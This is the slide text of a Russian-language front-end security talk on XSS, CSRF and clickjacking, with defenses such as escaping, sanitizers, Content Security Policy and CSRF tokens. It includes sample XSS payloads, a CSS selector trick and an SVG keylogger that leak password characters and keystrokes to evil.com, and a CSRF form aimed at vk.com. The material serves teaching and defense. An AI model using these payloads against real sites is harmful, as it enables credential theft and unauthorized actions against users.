Как хакнуть фронтенд

{

Тема: Как хакнуть фронтенд,

Спикер: Владимир Дашукевич,

Компания: XBSoftware,

Конференция: Web Standarts Days

}

Что значит "хакнуть"?

Получить доступ к приватным данным
Совершить несанкционированное действие

Способы:

Запуск "злого" кода на клиенте
Позволить пользователю сделать "злое" действие за вас

Запуск "злого" кода

XSS (Cross Site Scripting)

Все

XSS типы:

Хранимые (Сервер)
Отраженные (Клиент)

Хранимые

Ораженные XSS атаки

Как это может быть опасно?

Пускай пользователь выполнит такой же запрос

https://you.site?param1=some_value&
run=<script>alert(1)</script>

https://you.site?param1=some_value&
id=152

Почему это плохо?

Опасности XSS

document.cookie
window.localStorage
"Keylogger"
Редиректы

Как пользователь может запустить "злой" скрипт

Шаблон

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>

Шаблон

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>

Шаблон

				<div style='{{css}}'>
				    <input value='' onmouseover='alert(1)'>
				    Hello, {{title}}
				    {{image}}
				</div>

Слишком просто)

Шаблон

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>

Шаблон

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, <img src='a.png' onerror='alert(1)'>
				    {{image}}
				</div>

Можно что-нибудь посложнее)

Шаблон

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>

Помочь сайту в UX))

evil.css

Можно ли украсть что-нибудь?

				<input type='password' id='hi' value='abcd'>

				#hi[value^="a"] {
				   background-color: url(//evil.com/?v=a);
				}
				#hi[value^="b"] {
				   background-color: url(//evil.com/?v=b);
				}

				#hi[value^="a"] {
				   background-color: url(//evil.com/?v=a);
				}
				#hi[value^="b"] {
				   background-color: url(//evil.com/?v=b);
				}

example

Или ещё хуже?

Шаблон

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>

Keylogger с помощью картнки?

<set> в <svg>

SVG image

				<defs>
				    <path id='example' d="...">
				</defs>
				<use xlink:href="#example" visibility="hidden">
					  <set begin="0s" end="1s" 
					      attributeName="visibility" to="visible">
				</use>

SVG image

				<defs>
				    <path id='example' d="...">
				</defs>
				<use xlink:href="#example" visibility="hidden">
					  <set begin="accessKey(a)" 
					      attributeName="xlink:href" to="//evil.com/?a">
				
				</use>

SVG image

				<set begin="accessKey(a)" attributeName="xlink:href"
				        to="//evil.com/?a">
				<set begin="accessKey(b)" attributeName="xlink:href"
				        to="//evil.com/?b">
				...
				<set begin="accessKey(x)" attributeName="xlink:href"
				        to="//evil.com/?x">

example

Вы напуганы?

Итоги

XSS атаки: хранимые и отраженные
Любые данные могут быть украдены XSS
Бойтесь ... ну, всего
Любые не проверенные данные хранят опасность

Как защититься?

Опасный код

innerHTML
insertAdjacentHTML

Безопасный код

textContent
createTextNode (appendChild, insertBefore)
innerText

Опасный код

eval
new Function

Решение

Пишите код без eval

Проверяйте и очищайте входные данные

				str.replace(/&/g, '&amp;')
				   .replace(/"/g, '&quot;')
				   .replace(/'/g, '&#39;')
				   .replace(/</g, '&lt;')
				   .replace(/>/g, '&gt;');

Sanitizer (удаление опасного кода)

sanitize-html
JsHtmlSanitizer
htmlpurifier
и так далее...

Заголовки

X-XSS-Protection: 1
HttpOnly
Content Security Policy

Content Security Policy

Заголовки

Content-Security-Policy: [policy]
Content-Security-Policy-Report-Only: [policy]

Policies

connect-src (XHR, WebSockets, EventSource, sendBeacon)
font-src
frame-src
img-src
media-src
script-src
style-src
object-src

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri /report?report=true;

Как это работает?

				<script src="//evel.com/steel.js"></script>

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src https://mysite.com;
				   report-uri /report?report=true;

				<script src="//evel.com/steel.js"></script>

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src https://script.com;
				   report-uri /report?report=true;

				{
				   "csp-report": {
				      "document-uri": "https://mysite.com/cats",
				      "referrer": "https://evel.com",
				      "blocked-uri": "https://evil.com/steel.js" ,
				      "violated-directive": "script-src 'self' https://script.com;",
				      "original-policy": ** all policy **
				   }
				}

				<img src="https://my.google.com/cat.png">

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://mysite.com;
				   report-uri /report?report=true;

				<img src="https://my.google.com/cat.png">

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://mysite.com;
				   report-uri /report?report=true;

				https://mysite.com/fontello.woff

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://mysite.com;
				   report-uri /report?report=true;

				https://mysite.com/fontello.woff

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://mysite.com;
				   report-uri /report?report=true;

Есть что-то лучше CSP?

Content Security Policy v2

Улудшения

Больше директив: plugin-types, form-actions ...
<meta> tags
JS события (SecurityPolicyViolationEvent)
Работа с WebWorkers и fetch
Подписи встроенных скриптов и стилей (nonce)

				<script>
				   alert("Hello world")
				</script>

				Content-Security-Policy:
				   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
				   report-uri /report?report=true;

				<script>
				   alert("Hello world")
				</script>

				Content-Security-Policy:
				   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
				   report-uri /report?report=true;

				<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
				   alert("Hello world")
				</script>

				Content-Security-Policy:
				   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
				   report-uri /report?report=true;

				<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
				   alert("Hello world")
				</script>

				Content-Security-Policy:
				   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
				   report-uri /report?report=true;

В безопасности ли мы?

Интернет

HTTP vs HTTPS

Нужно ли везде использовать HTTPS?

Man in the Middle

Итоги

Безопасности мало не бывает
Прямо сейчас используйте CSP
Только HTTPS

Дать пользователю хакнуть себя

Поздравляем, вас хакнули)

CSRF

Форма CSRF

				<form action="https://vk.com/settings" method="POST"
							target="hiddenFrame">
				    <input name="name" value='a@gmail.com'>
				    <input name="pass" value='123'>
				    <input type="submit">
				</form>

Форма CSRF

				<form action="https://vk.com/settings" method="POST"
							target="hiddenFrame">
				    <input name="name" value='a@gmail.com'>
				    <input name="pass" value='123'>
				    <input type="submit">
				</form>

Форма CSRF

				<form action="https://vk.com/settings" method="POST"
							target="hiddenFrame">
				    <input name="name" value='a@gmail.com'>
				    <input name="pass" value='123'>
				    <input type="submit">
				</form>

Форма CSRF

				<form action="https://vk.com/settings" method="POST"
							target="hiddenFrame">
				    <input name="name" value='a@gmail.com'>
				    <input name="pass" value='123'>
				    <input type="submit">
				</form>

Форма CSRF

				<form action="https://vk.com/settings" method="POST"
							target="hiddenFrame">
				    <input name="name" value='a@gmail.com'>
				    <input name="pass" value='123'>
				    <input type="submit">
				</form>

JSON

Форма CSRF

				<form action="https://vk.com/settings" method="POST"
							target="hiddenFrame">
				  <input 
				  	name='{"name":"a@gmail.com","pass":"123","ignore":"'
				  	value='"}'>
				  <input type="submit">
				</form>

Вы напуганы?

Защита

Научить пользователей не кликать на плохие ссылки
Отказаться от Cookie
Добавлять специалные токены

Hijacking

Поздравляем, вас хакнули)

Защита

X-Frame-Options
CSP

And one more thing...

Думайте о безопасности в первую очередь

Questions

Facebook: dashukevich.vova

Twitter: life__777

Что значит "хакнуть"?

Способы:

Запуск "злого" кода

XSS (Cross Site Scripting)

Все

XSS типы:

Хранимые

Ораженные XSS атаки

Как это может быть опасно?

Пускай пользователь выполнит такой же запрос

https://you.site?param1=some_value&run=<script>alert(1)</script>

https://you.site?param1=some_value&id=152

Почему это плохо?

Опасности XSS

Как пользователь может запустить "злой" скрипт

Шаблон

Шаблон

Шаблон

Слишком просто)

Шаблон

Шаблон

Можно что-нибудь посложнее)

Шаблон

Помочь сайту в UX))

evil.css

Можно ли украсть что-нибудь?

example

Или ещё хуже?

Шаблон

Keylogger с помощью картнки?

<set> в <svg>

SVG image

SVG image

SVG image

example

Вы напуганы?

Итоги

Как защититься?

Опасный код

Безопасный код

Опасный код

Решение

Проверяйте и очищайте входные данные

Sanitizer (удаление опасного кода)

Заголовки

Заголовки

Content Security Policy

Заголовки

Policies

Как это работает?

Есть что-то лучше CSP?

Content Security Policy v2

Улудшения

В безопасности ли мы?

Интернет

HTTP vs HTTPS

Нужно ли везде использовать HTTPS?

Man in the Middle

Итоги

Дать пользователю хакнуть себя

Поздравляем, вас хакнули)

CSRF

Форма CSRF

Форма CSRF

Форма CSRF

Форма CSRF

Форма CSRF

JSON

Форма CSRF

Вы напуганы?

Защита

Hijacking

Поздравляем, вас хакнули)

Защита

And one more thing...

Думайте о безопасности в первую очередь

Questions

https://you.site?param1=some_value&
run=<script>alert(1)</script>

https://you.site?param1=some_value&
id=152